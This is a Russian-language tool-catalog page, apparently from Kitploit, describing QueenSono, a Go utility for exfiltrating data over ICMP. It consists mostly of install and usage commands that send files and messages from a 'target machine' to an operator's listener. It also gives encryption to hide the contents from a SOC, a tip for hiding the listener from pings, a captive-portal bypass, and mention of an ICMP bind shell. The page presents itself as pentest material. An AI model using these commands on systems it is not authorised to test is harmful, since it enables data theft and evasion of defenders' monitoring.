Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ariary/queensono
Эксфильтрация данныхСетевая безопасностьТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubariary/queensono

QueenSono

Бинарный файл Golang для эксфильтрации данных с использованием протокола ICMP (+ ICMP bindshell, туннелирование HTTP через ICMP, ...)

Репозиторий
1682723 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

QueenSono Эксфильтрация данных через ICMP



Пакет на Golang для эксфильтрации данных с помощью протокола ICMP (IPv4 и IPv6).

Инструмент QueenSono полагается только на тот факт, что протокол ICMP не мониторится. Это довольно распространено. Он также может быть использован в системе с базовой проверкой ICMP (например, отслеживание частоты и длины содержимого) или для обхода этапа аутентификации через captive portal (используется многими открытыми Wi-Fi для аутентификации пользователей после подключения, например, в аэропорту). Пытается имитировать PyExfil (и другие) с идеей, что на целевой машине не обязательно установлен Python (поэтому предоставление бинарного файла может быть полезным).

Установить · Использовать · Заметки · Запросить функцию · 🎁

Установка

С помощью curl

> Из релиза

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

С помощью go

> Через go install

Убедитесь, что $GOPATH находится в вашем $PATH

Установка qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #переименовать бинарник

Установка qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #переименовать бинарник

> Установка бинарника из исходного кода

Клонируйте репозиторий и загрузите зависимости локально:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Чтобы собрать отправитель ICMP-пакетов qssender:

root@kitploit:~
build.queensono-sender

Чтобы собрать получатель ICMP-пакетов qsreceiver:

root@kitploit:~
build.queensono-receiver

Использование

qssender — это бинарник, который будет отправлять ICMP-пакеты слушателю, поэтому его необходимо перенести на целевую машину.

qsreceiver — это слушатель на вашей локальной машине (или в любом месте, где вы можете получать ICMP-пакеты).

Все команды и флаги бинарников можно найти с помощью --help

Пример 1: Отправка с подтверждением (ACK) 🔙

> В этом примере мы хотим отправить большой файл и ожидать эхо-ответ для подтверждения получения пакетов (ACK).

demo

На локальной машине:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Пояснение
  • -l 0.0.0.0 слушать на всех интерфейсах ICMP-пакеты
  • -f received_bible.txt сохранить полученные данные в файл
  • -p показывать прогресс-бар полученных данных
  • На целевой машине:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #загрузка большого файла (для примера)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Пояснение
  • send file для отправки файла (bible.txt — сам файл)
  • -d 2 отправлять пакет каждые 2 секунды
  • -l 0.0.0.0 адрес прослушивания для эхо-ответа
  • -r 10.0.0.92 адрес моей удаленной машины с прослушивающим qsreceiver
  • -s 50000 размер данных, которые я хочу отправить в каждом пакете
  • Пример 2: Отправка без подтверждения (ACK) 🙈

    > В этом примере мы хотим отправить сообщение без ожидания эхо-ответа (это может быть полезно, если целевой файрвол фильтрует входящие ICMP-пакеты)

    demo

    На локальной машине:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Пояснение
  • receive truncated 1 не ждать бесконечно, если мы не получили все пакеты. (1 — задержка, используемая с qssender)

  • Для скрытности вы можете запретить ядру отвечать на любые ICMP-пинги
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    На целевой машине:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Пояснение
  • -N опция noreply (не ждать эхо-ответа)
  • Пример 3: Отправка зашифрованных данных 🔒

    > В этом примере мы хотим отправить зашифрованное сообщение. Поскольку за командной строкой могут следить, мы используем асимметричное шифрование (если ключ утечет, это не проблема).

    demo

    На локальной машине:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt
    <OUTPUT PUBLIC KEY>
    
    Пояснение
  • --encrypt использовать обмен шифрованием. Будет сгенерирована пара открытого/закрытого ключа. Открытый ключ будет использоваться qssender для шифрования данных, закрытый — для их расшифровки с помощью receiver
  • На целевой машине:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Пояснение
  • --key указать ключ для шифрования данных. Используйте тот, который предоставлен командой qsreceiver
  • О шифровании

    Для сохранения конфиденциальности передаваемых данных используется RSA-шифрование. Это может быть полезно, например, чтобы SOC не видел, какие данные передаются (или для криминалистики) при базовом анализе, или просто для конфиденциальности.

    Но это имеет свою цену. Выбор асимметричного шифрования обусловлен тем, что ключ шифрования вводится в командной строке (и его можно легко получить). Поэтому мы шифруем данные с помощью открытого ключа. Таким образом, если кто-то получит ключ шифрования, расшифровать сообщение будет невозможно. Однако открытый ключ меньше закрытого, поэтому он шифрует более короткие сообщения. Также это вычислительно затратно.

    Еще один момент: поскольку мы хотим ограничить размер данных/количество ping-запросов (для избежания обнаружения, ошибок и т.д.), используйте шифрование только при необходимости, так как размер вывода сообщения всегда будет (должен) равняться размеру модуля (части ключа), который велик.

    Улучшение

    В настоящее время все сообщение шифруется, а затем разбивается на части для отправки. На другой стороне мы ждем все пакеты (части), восстанавливаем сообщение и затем расшифровываем его. Но это работает ⇔ мы получили ВСЕ части, иначе расшифровка не удастся.

    => Мы могли бы шифровать каждый фрагмент в соответствии с параметром -s, чтобы расшифровывать их по отдельности.

    Пример 4: Получение данных через эхо-ответы ↩️

    > В этом примере локальная машина отправляет данные обратно на целевой машине через ICMP-эхо-ответы. Полезно, когда исходящий ICMP с целевой машины фильтруется, но целевая машина может получать эхо-ответы.

    На локальной машине:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    Пояснение
  • reply-send ожидает триггер от qssender, затем отправляет данные обратно в виде ICMP-эхо-ответов
  • -l 0.0.0.0 слушать на всех интерфейсах триггерный пакет
  • -d 1 задержка 1 секунда между каждым пакетом ответа
  • На целевой машине:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    Пояснение
  • receive отправляет триггер на qsreceiver и собирает данные из входящих эхо-ответов
  • -l 0.0.0.0 адрес прослушивания для входящих эхо-ответов
  • -r 10.0.0.92 адрес моей локальной машины с ожидающим qsreceiver reply-send
  • Поддержка IPv6

    QueenSono прозрачно поддерживает ICMPv6. Укажите IPv6-адрес, и протокол определится автоматически — никаких дополнительных флагов не требуется.

    На локальной машине:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    На целевой машине:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    Пояснение
  • -l :: слушать на всех IPv6-интерфейсах
  • -r fe80::1 IPv6-адрес удаленной машины — автоматически запускает ICMPv6
  • Все режимы (отправка с подтверждением, без подтверждения, с шифрованием, через эхо-ответы) работают одинаково через IPv6.

    Бонус

    Смотрите раздел hack для интересных возможностей с QueenSono:

    • Привязка оболочки через ICMP
    • Туннелирование HTTP через ICMP

    Заметки

    • работает только на Linux (из-за использования пакета golang net icmp)
    • требуются возможности cap_net_raw
    • поддерживает как IPv4 (ICMP), так и IPv6 (ICMPv6) — автоматически определяется по адресу
    • если вы отправляете ICMP-пакеты на двух разных машинах и ожидаете эхо-ответ, убедитесь, что используете IP-адрес, достижимый удаленной машиной, в качестве адреса прослушивания (не используйте localhost или эквивалент)
    Скачать инструмент